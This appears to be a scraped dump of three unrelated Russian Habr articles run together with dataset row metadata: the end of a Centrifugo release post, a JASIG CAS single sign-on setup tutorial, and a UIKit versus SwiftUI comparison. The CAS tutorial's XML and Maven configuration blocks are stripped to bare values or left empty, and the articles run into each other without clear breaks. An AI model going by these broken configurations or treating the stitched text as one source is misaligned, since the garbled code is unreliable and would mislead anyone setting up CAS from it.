В процессе рефакторинга получилось существенно улучшить некоторые части кода — например, метрики, которые теперь чем-то напоминают то, как добавление метрик устроено в [Prometheus клиенте для Go](https://github.com/prometheus/client_golang).
Центрифуга использует пакет [github.com/spf13/viper](https://github.com/spf13/viper) для конфигурации — это одна из самых лучших библиотек для конфигурации приложения, с которой мне доводилось работать – так как с минимальными усилиями со стороны программиста есть возможность настроить конфигурацию приложения с помощью переменных среды, флагов при запуске и файла с настройками (используя популярные форматы – YAML, JSON, TOML и др.) + viper работает в связке с [github.com/spf13/cobra](https://github.com/spf13/cobra) — одним из самых удобных пакетов для создания cli-утилит. Но есть одно большое НО! Viper тянет за собой какое-то непомерное количество [внешних зависимостей](https://godoc.org/github.com/spf13/viper?imports), некоторые из которых тянут свои — причем большая часть из этих зависимостей в Centrifugo вообще не используется — remote конфигурация (Consul, Etcd), поддержка файловой системы afero, fsnotify (кому вообще нужно чтобы серверное приложения рестартилось автоматом при изменении конфига на диске?), HCL и Java форматы конфигурационных файлов тоже не нужны. Поэтому пришлось форкнуть viper и сделать свою “lite” версию, в которой нет ненужных мне зависимостей. На самом деле это не лучший вариант – хотелось бы, чтобы viper поддерживал плагины и пользователи библиотеки сами определяли на этапе инициализации какие кусочки функционала им нужны.
В версии 1.6 добавилось шардирование Redis по имени канала, чтобы распределить нагрузку между несколькими инстансами Redis’a. Меня всегда смущало ограничение одним инстансом Redis’а — хоть он и чрезвычайно быстр на операциях, которые использует Центрифуга, все равно хотелось иметь способ масштабировать эту точку. Теперь с наличием шардирования вместо вот такой схемы:
Мы получаем вот такую:
К сожалению без решардинга, но в случае с Центрифугой решардинг не так уж и важен на самом деле — модель доставки сообщений и так at most once, а благодаря тому, как Центрифуга работает, состояние само восстанавливается спустя некоторое время. Внутри используется быстрый и не аллоцирующий много памяти алгоритм консистентного шардирования, который называется [Jump](http://inf-server.inf.uth.gr/courses/CE623/Fast_min_memory_consistent_hash_algorithm.pdf) — используется код из библиотеки [github.com/dgryski/go-jump](https://github.com/dgryski/go-jump). Совсем недавно появилась история успешного применения шардирования в продакшене — в Mesos среде с тремя шардами. Однако, в каких-то своих проектах мне пока шардирование не довелось использовать.
Возможно вы знаете, что в Центрифуге есть web-интерфейс, написанный на ReactJS, этот интерфейс лежит в отдельном репозитории и эмбеддится в сервер на этапе сборки. Таким образом бинарник включает в себя всю статику, необходимую для работы web-интерфейса — встроенный в Go FileServer позволяет с легкостью отдавать статику по нужному адресу. Изначально для этих целей я использовал [github.com/jteeuwen/go-bindata](https://github.com/jteeuwen/go-bindata) в связке с [github.com/elazarl/go-bindata-assetfs](https://github.com/elazarl/go-bindata-assetfs). Однако я натолкнулся на более легковесную и простую на мой взгляд библиотеку [github.com/rakyll/statik](https://github.com/rakyll/statik) — от хорошо знакомой в Go сообществе Jaana B. Dogan.
Наконец, последнее, что хотелось бы отметить из серверных изменений это интеграция с [PreparedMessage](https://godoc.org/github.com/gorilla/websocket#PreparedMessage) структурой из библиотеки Gorilla Websocket. Появился `PreparedMessage` в библиотеке Gorilla Websocket совсем недавно. Суть этой структуры сводится к тому, что она кеширует созданный websocket фрейм для того, чтобы переиспользовать его при возможности и не создавать его каждый раз. В случае Центрифуги, когда в канале могут быть тысячи пользователей и всем отправляется одно и то же сообщение в соединение, это имеет смысл при достаточно большом количестве пользователей (в моих бенчмарках выигрыш появлялся при количестве клиентов >20k в одном канале). Но еще больший смысл это имеет при включенном сжатии Websocket трафика — в случае Websocket протокола это [расширение permessage-deflate](https://tools.ietf.org/html/rfc7692), которое позволяет сжимать трафик используя [flate](https://golang.org/pkg/compress/flate/)-сжатие. В Go структура `flate.Writer` весит больше 600kb (!), поэтому при большом fan-out сообщений (независимо от количествава клиентов в канале) – `PreparedMessage` очень помогает.
Немного больное место — это клиенты для мобильных устройств. Так как я не знаю ни Objective-C/Swift, ни Javа на достаточном уровне – то я не могу помочь с разработкой мобильных клиентов для Centrifugo, позволяющих подключаться к серверу с iOS и Android девайсов. Эти клиенты были написаны участниками open-source сообщества, за что я им безмерно благодарен. Однако, написав клиенты, авторы, по большому счету, потеряли интерес к их поддержке – и какие-то фичи там по-прежнему отсутствуют. Однако это рабочие клиенты, которые доказали возможность использования Центрифуги и с мобильных устройств.
Эта ситуация меня не может не расстраивать — поэтому со своей стороны я предпринял шаг попробовать написать клиента на Go и использовать [Gomobile](https://github.com/golang/mobile) для генерации биндингов к клиенту для iOS (Objective-C/Swift) и Android (Java). Ну и в целом, мне это удалось — [github.com/centrifugal/centrifuge-mobile](https://github.com/centrifugal/centrifuge-mobile). Было увлекательно — самая сложная часть была попробовать полученные биндинги в деле — для этого пришлось освоить XCode и Android Studio, а также написать небольшие примеры использования Websocket клиента Центрифуги для всех трех языков — Objective-C, Swift и Java. Про особенности Gomobile я написал [статью](https://medium.com/@fzambia/e72dc2736f01) — возможно, кому-то будут интересны подробности.
 Из недостатков gomobile хотелось бы отметить даже не строгие ограничения на поддерживаемые типы (с которыми на самом деле вполне можно жить), а то, что Go не генерирует LLVM биткод (bitcode), который Apple советует добавлять к каждому приложению. Этот биткод в теории позволяет Apple самостоятельно проводить оптимизации приложений в App Store. На текущий момент при создании приложения под iOS можно отключить биткод в настройках проекта в XCode, но что будет если Apple решит сделать его наличие обязательным? Не понятно. И отсутствие контроля над ситуацией немного печалит.
Самое удивительное для меня — это то, что узнал я об этом только когда код моей библиотеки был готов, протестирован на Android-девайсе и я был в полной уверенности, что и на iOS все пройдет гладко – нигде в документации gomobile я упоминаний об этом не нашел (отвлекся и проглядел?).
Вот в общем-то и все из ярких событий. Попробовать Centrifugo не сложно — есть пакеты под популярные Linux дистрибутивы, Docker образ, бинарные релизы и пара строчек, чтобы поставить на MacOS с помощью brew — все полезные ссылки можно найти в [README](https://github.com/centrifugal/centrifugo) на Github. | https://habr.com/ru/post/326236/ | null | ru | null |
# Единая авторизация (SSO) средствами JASIG CAS. Часть 2
Приветствую, уважаемые хабро-читатели. Перед вами продолжение серии статей про JASIG CAS. В этой части я расскажу, как собрать артефакт CAS и начать с ним работать. Прежде, чем читать дальше, я надеюсь, вы прочитали [первую часть](http://habrahabr.ru/company/tcsbank/blog/142407/).
#### Настроились, собрались… разобрались.
Как говорится, правильный настрой — половина дела. Для того, что бы правильно сконфигурировать и собрать свою версию CAS, вы должны хорошо представлять себе, как работают Spring и Maven.
Если вы хотите познать дао настройки CAS от начала до конца, то вам [вот сюда](https://wiki.jasig.org/display/CASUM/Home). Я же расскажу про основные вещи, которые нужно знать, для того, что бы успешно запустить CAS в той среде, которую я описал в первой статье.
Для начала приведу список файлов, которые могут понадобиться для настройки. После этого, я остановлюсь подробнее на тех из них, которые считаю наиболее важными. Оригинал списка можно найти [здесь](https://wiki.jasig.org/display/CASUM/Best+Practice+-+Setting+Up+CAS+Locally+using+the+Maven2+WAR+Overlay+Method).
##### Файлы конфигурации
* **WEB-INF/classes/log4j.xml.** В этом файле находятся настройки логирования. При желании можно добавлять свои логеры, CAS не накладывает никаких ограничений.
* **WEB-INF/cas-servlet.xml.** Это Spring MVC конфигурация сервлетов, обрабатывающих сервисные URL CAS-а
* **WEB-INF/cas.properties.** Содержит URL-ы служебных сервисов, SQL диалект и вообще любые свойства какие придумаетe, можно складывать сюда.
* **WEB-INF/deployerConfigContext.xml.** Почти все настройки сервиса находятся в этом файле.
* **WEB-INF/login-webflow.xml.** Здесь, с помощью Spring Web Flow, настраивается поток авторизации.
* **WEB-INF/restlet-servlet.xml.** Настройка RESTful APIs. По идее вам никогда не придется менять этот файл.
* **WEB-INF/classes/messages\_\*.properties.** Это набор property файлов, используемые для локализации CAS.
* **WEB-INF/spring-configuration.** В этой директории расположены настройки большинства компонентов. Многие из них можно смело переопределять.
##### Файлы конфигурации расположенные в WEB-INF/spring-configuration
* **applicationContext.xml.** Содержит стандартные бины, которые обычно не нужно переопределять, такие как планировщик Autowiring-а и настройки задач Quartz.
* **ticketRegistry.xml.** Реестр тикетов. Вам вряд ли захочется его менять.
* **argumentExtractorsConfiguration.xml.** Отвечает за выбор протокола. По умолчанию CAS и SAML.
* **propertyFileConfigurer.xml.** Указывает путь, откуда брать свойства. По умочанию из WEB-INF/cas.properties
* **securityContext.xml.**
* **ticketExpirationPolicies.xml.** Настройки связанные с созданием и валидацией тикетов.
* **ticketGrantingTicketCookieGenerator.xml.** Описывает способ создания TGT. Скорее всего менять его не придется.
##### deploymentconfigContext.xml
И так, ключевым файлом настройки CAS является deployerConfigContext.xml. Это довольно объемный файл, поэтому я буду разбирать его частями сверху вниз.
В самом начале файла располагается список резолверов учетных данных. Резолверы отвечают за извлечение учетных данных из запроса авторизации, приходящей на сервер.
```
...
```
Если вы не будете использовать ничего, кроме логина/пароля, переданных с формы авторизации, то этот раздел можно смело оставить как есть.
Дальше идет описание обработчиков, которые отвечают за то, как CAS будет использовать полученные учетные данные. Я использую их для поиска пользователя в LDAP
```
```
***ВАЖНО!** В продуктовой среде обязательно удалите **SimpleTestUsernamePasswordAuthenticationHandler**.*
***ВАЖНО!** Обратите внимание на параметр **p:timeout="${ldapReadConnectTimeout}"**. Это таймаут чтения/соединения с LDAP. Без установки этого параметра стандартные значения не будут переписаны, не смотря, даже, на установленные параметры com.sun.jndi.ldap.connect.timeout com.sun.jndi.ldap.read.timeout, о которых речь пойдет чуть позже.*
Следующий блок конфигураций связан с настройкой источника данных о пользователях. Я приведу пример конфигурации, когда пользователи хранятся в openLdap.
Есть два способа поиска пользователей в LDAP:
* **FastBindLdapAuthenticationHandler.** Он наиболее быстрый, но подходит только в тех случаях, когда из учетных данных можно напрямую построить DN (distinguished name), т.е. uid= %u,ou=users,dc=domain. Где %u — это переданный логин.
* **BindLdapAuthenticationHandler.** Он чуть медленнее, но позволяет больше свободы в выборе нужной записи. Работает он в 2 этапа — с начал происходит LDAP bind. Учетные для bind берутся из contextSource, о котором я расскажу чуть позже. 2-этап — LDAP search c применением фильтра.
***ВАЖНО!** При работе с LDAP, base, для операций search и bind используется по-разному. Для bind всегда нужно указывать полное имя записи, т.е., например cn=user,dc=sso,dc=ru, где base — dc=sso,dc=ru. Поэтому base в настройке contextSource всегда должен быть заполнен и userDN — это всегда полное имя пользователя, под которым авторизуется CAS в LDAP.
Во время поиска searchBase добавляется к фильтру поиска для ограничения области сканирования. Он вполне может быть пустым, в этом случае критерий поиска в директории определяется только фильтром.*
Пример настройки contextSource.
```
ldap://your.host.nameORip
java.naming.security.authentication
simple
```
Параметры com.sun.jndi.ldap.(connect, read).timeout отвечают за таймауты при соединении и чтении данных из LDAP соответственно.
С userDetailsService проблем возникнуть не должно, поэтому перейдем сразу к последней важной настройке — хранилищу сервисов. Есть несколько способов хранить зарегистрированные сервисы. По умолчанию используется inMemory хранилище. Этот вариант не подходит для продуктовой среды и тех случаев, когда вы хотите разделять один список сервисов среди нескольких CAS серверов. Мы используем MySql, развернутый, на той же машине, что и сервер CAS. Если такой вариант приемлем для вас, вы можете просто скопировать эту конфигурацию и подставить свои логин\пароль.
```
org.hibernate.dialect.MySQLDialect
update
```
##### ticketExpirationPolicies.xml
Это еще один важный файл настройки. В нем описаны expiration policies для ST и TGT. Вам может понадобиться увеличить значения параметров для ST, если вы собираетесь изменять протокол взаимодействия, наблюдаются серьезные сетевые задержки или сервера, участвующие в SSO, плохо синхронизированы по времени.
##### cas.properties
Стандартных свойств здесь не так много.
**cas.securityContext.serviceProperties.service.** Значение его может быть например https:// localhost:8443/cas/services/j\_acegi\_cas\_security\_check. Это URL сервлета, который производит проверки тикетов. У нас он выглядит вот так: ${service} т.к. эту и многие другие настройки мы предпочитаем выносить в свойства MAVEN профилей и подставлять при сборке. Как это делается, я расскажу чуть позже.
**cas.securityContext.serviceProperties.adminRoles=ROLE\_ADMIN.** Это свойство содержит названия ролей пользователей из Spring Security. Пользователи с этими ролями имеют доступ к служебным интерфейсам CAS. Эта настройка непосредственно связана с userDetailsService из deployerConfigContext.xml.
**cas.securityContext.casProcessingFilterEntryPoint.loginUrl.** По этому пути расположен сервлет, который принимает учетные данные пользователя.
**cas.securityContext.ticketValidator.casServerUrlPrefix.** URL CAS.
**host.name.** Как я понял, этот параметр используется в основном как префикс в именах TGT и ST. Так что можете выбрать любое название на ваш вкус.
**database.hibernate.dialect.** Это свойство определяет SQL диалект Hibernate. В deployerConfigContext.xml мы выбрали MySQl для хранения сервисов, соответственно его значение должно быть установлено в org.hibernate.dialect.MySQLDialect.
CAS позволяет задавать разное оформление для своих web интерфейсов, с помощью CAS themes. Как это делается, я расскажу, наверно, в другой статье. Подробно о темах можно почитать [вот здесь](https://wiki.jasig.org/display/CASUM/Theme+Control).
##### Сборка
Теперь, когда с настройками разобрались, можно попробовать собрать свой собственный артефакт. Собирать будем с помощью [Maven war overlay](http://maven.apache.org/plugins/maven-war-plugin/overlays.html)
Для начала опишем свойства, которые нам понадобятся позже
```
3.0.4.RELEASE
3.0.3.RELEASE
3.4.8
2.0.2
1.6
UTF-8
```
***Важно!** Обязательно укажите кодировку ресурсов, которая будет использована при сборке проекта. Иначе у вас могут возникнуть проблемы с русским текстом.*
Добавляем в проект зависимости в соответствии с настройками, сделанными в deployerConfigContext.xml
```
org.jasig.cas
cas-server-webapp
${cas.version}
war
runtime
c3p0
c3p0
0.9.1.2
org.hibernate
hibernate-entitymanager
3.6.0.Final
hibernate-core
org.hibernate
mysql
mysql-connector-java
5.1.14
org.jasig.cas
cas-server-support-ldap
${cas.version}
org.hibernate
hibernate-core
jaxb-impl
com.sun.xml.bind
spring-expression
org.springframework
spring-expression
org.springframework
spring-expression
org.springframework
```
Сборка с помощью overlay подходит, когда вам не нужны профили и фильтры ресурсов, но хочется использовать ресурсы другого проекта как базу для своей сборки.
Например, если нужно заменить deployerConfigContext.xml и cas.properties, в артефакте, это можно будет сделать вот так…
```
maven-war-plugin
cas
org.jasig.cas
cas-server-webapp
WEB-INF/deployerConfigContext.xml
WEB-INF/cas.properties
```
Хотя этот способ довольно хорош я, все же, рекомендую воспользоваться [профилями](http://maven.apache.org/guides/mini/guide-building-for-different-environments.html). Они дают значительно больше свободы в конфигурировании приложения. С их помощью, например, очень просто организовать сборку артефактов для продуктовой и тестовой сред.
Теперь build тег будет выглядеть вот так
```
maven-war-plugin
cas
src/main/config
WEB-INF
true
```
Теперь добавляем профили
```
test
true
https://localhost:8443/cas/services/j\_acegi\_cas\_security\_check
prod
https://auth.tcsbank.ru:8443/cas/services/j\_acegi\_cas\_security\_check
```
В тег профилей разумно выносить все свойства, которые различаются в разных средах.
Теперь можно создать директорию /src/main/config и скопировать туда все ресурсы, для которых вы хотите проводить фильтрацию с помощью Maven. В итоге структура вашего проекта может выглядеть примерно так, как показано на картинке справа.
Осталось только собрать проект, например для продуктовой среды…
```
mvn -e clean compile package -P prod
```
Модификатор —e предписывает показывать более подробную информацию о процессе сборки, включая stacktrace любой возникшей ошибки.
***Важно!** Перед сборкой убедитесь, что для всех локалей, в которых предполагается использовать CAS, присутствуют все сообщения. Для этого нужно убедиться, что файл сообщений messages для нужных локалей содержат те же сообщения, что и файл для локали en. Если это не так, вам нужно скопировать recource Bundle в свой проект в директорию /webapp/WEB-INF/classes/ и вручную дополнить список сообщений. Иначе CAS не сможет отобразить ни один сервисный интерфейс, в котором отсутствуют нужные сообщения.*
#### Взлетаем
Ну вот, CAS собран и запущен и от полноценного сервиса единой авторизации нас отделяет последний шаг — добавление доверенных сервисов. Подробную инструкцию как это сделать, можно [узнать тут](https://wiki.jasig.org/display/CASUM/Adding+a+New+Service).
***Важно!** Первым сервисом, обязательно должен быть добавлен сам CAS. Если этого не сделать, после добавления любого другого сервиса, служебные интерфейсы станут недоступны и вам, скорее всего, придется вручную очищать хранилище сервисов или добавить в него CAS.*
Для того, что бы добавить сервис в CAS нужно перейти на страницу управления сервисам по адресу https://${serverUrl}/services/add.html. Получить доступ на эту страницу, может только авторизованный пользователь. Роли для пользователей настраиваются в cas.properties и deployerConfigContext.xml.
URL сервисов поддерживают шаблонизацию в стиле ANT. Например, что бы добавить в доверенные все сервисы, расположенные на локальной машине, можно использовать вот такой паттерн — ht tp\*://localhost:\*/\*\*.
Вот и все на этот раз. В 3-ей части я расскажу как бороться с некоторыми распространенными проблемами, оптимизировать производительность и авторизовываться с внешних форм и даже асинхронно.
Спасибо что дочитали до конца) | https://habr.com/ru/post/146006/ | null | ru | null |
# Что лучше: UIKit или SwiftUI?
Hello, World! Меня зовут Денис. Я IOS разработчик, пишу приложения для App Store. Хочу поделиться своим небольшим опытом на UIKit и SwiftUI.
**Первый запуск**
На [WWDC19](https://developer.apple.com/videos/play/wwdc2019/204) Apple предоставила декларативный фреймворк SwiftUI. Новый фреймворк позволяет уменьшать время на написание UI-составляющей своих приложений.
Пробежимся по
* UIKit
* SwiftUI
* Отличия между фреймворками
* Возможно использовать UIKit в SwiftUI?
* Производительность
**Что такое фреймворк UIKit?**
[**UIKit**](https://developer.apple.com/documentation/uikit) - это фреймворк, позволяющий создавать пользовательские интерфейсы (UI), которые могут обрабатывать события касания и входные данные, управляя взаимодействиями между пользователем, системой и вашим приложением. UIKit разработан и выпущен на основе языка Objective-C.
UIKit можно создавать несколькими способами
* Использовать конструктор интерфейса. Interface Builder интегрирован в Xcode и позволяет редактировать `.storyboard.xib`
* Подход, ориентированный на код, при котором представления и ограничения компоновки определяются в Swift
**Плюсы/минусы**
+ Привычен и стабилен
+ Свобода действий над UI элементами
- Сложные UI элементы
**Что такое фреймворк SwiftUI?**
[**SwiftUI**](https://developer.apple.com/xcode/swiftui/) **-** фреймворк, который позволяет вам проектировать и разрабатывать пользовательские интерфейсы декларативно, с меньшим количеством кода. Был впервые выпущен в 2019 году с версией 13 [iOS SDK](https://en.wikipedia.org/wiki/IOS_SDK).
Создание
* Xcode отображает визуальный редактор с любым файлом, содержащим представление SwiftUI, отображая живое представление создаваемого вами представления.
**Плюсы/минусы**
+ Прост в освоении
+ Можно смешивать с UIKit через [UIHostingController](https://developer.apple.com/documentation/swiftui/uihostingcontroller)
+ SwiftUI больше не нуждается в Interface Builder, был заменен на Canvas
+ HStack(элементы расположены горизонтально), VStack(элементы расположены вертикально), ZStack(элементы расположены друг над другом) - StackView
+ Абсолютная свобода и гибкость
- Еще молодой фреймворк
- Он поддерживает только iOS 13 и Xcode 11
**Отличия между фреймворками**
1) Чтобы код работал, вам просто нужно описать переменную `body (`var body: some View{}`)`, к которой вы должны вернуть представление. Тело - ваш контейнер, в который вы добавляете все остальные вложенные представления. В теле вы должны возвращать только один элемент: текст, изображение, кнопку... — все, что поддерживает `View`. В другом случае компилятор выдаст ошибку
2) Основные вещи, такие как `UIScrollView` и `UITableView` также доступны, но теперь они называются `ScrollView` и `ListView`
3) Создание пользовательского интерфейса программно (без раскадровки) в UIKit значительно сложнее по сравнению с SwiftUI. UIKit известен как императивный фреймворк, который просто означает, что вы указываете, как что-то сделать
4) SwiftUI является декларативной структурой. Вы объявляете код, а на canvas происходит ваши задумки (как я называю "прямой эфир")
**Возможно использовать UIKit в SwiftUI?**
[UIViewRepresentable](https://developer.apple.com/documentation/swiftui/uiviewrepresentable) - это протокол, предоставляемый фреймворком SwiftUI. Используя этот протокол, можно обернуть экземпляр представления UIKit, чтобы его можно было отображать с помощью SwiftUI. Пример:
**Производительность**
С точки зрения времени разработки SwiftUI обычно работает лучше, чем UIKit. Связано с тем, что иерархия представлений находится в структурах типа значений, хранящихся в стеке, что означает отсутствие дорогостоящего выделения памяти. Означает более высокую производительность в некоторых ситуациях
**Итог**
Подводя итог, SwiftUI использует совершенно иной подход к написанию кода, чем UIKit. Выбор за вами. Факт: SwiftUI понятен, легко читается и удобен в использовании. В будущем Apple начнет отказываться от UIKit.
Новое поколение iOS-разработчиков все чаще начинают свой путь именно со SwiftUI, а бывшие дизайнеры, благодаря данной технологии Apple, становятся еще и разработчиками.
SwiftUI лучше оптимизирован для новых устройств. Предоставляет более мощный код (элементы), что позволяет разработчикам создавать более совершенные приложения.
P.S. На рынке РФ пока мало компаний, которые перешли с UIKit на SUI. | https://habr.com/ru/post/710632/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.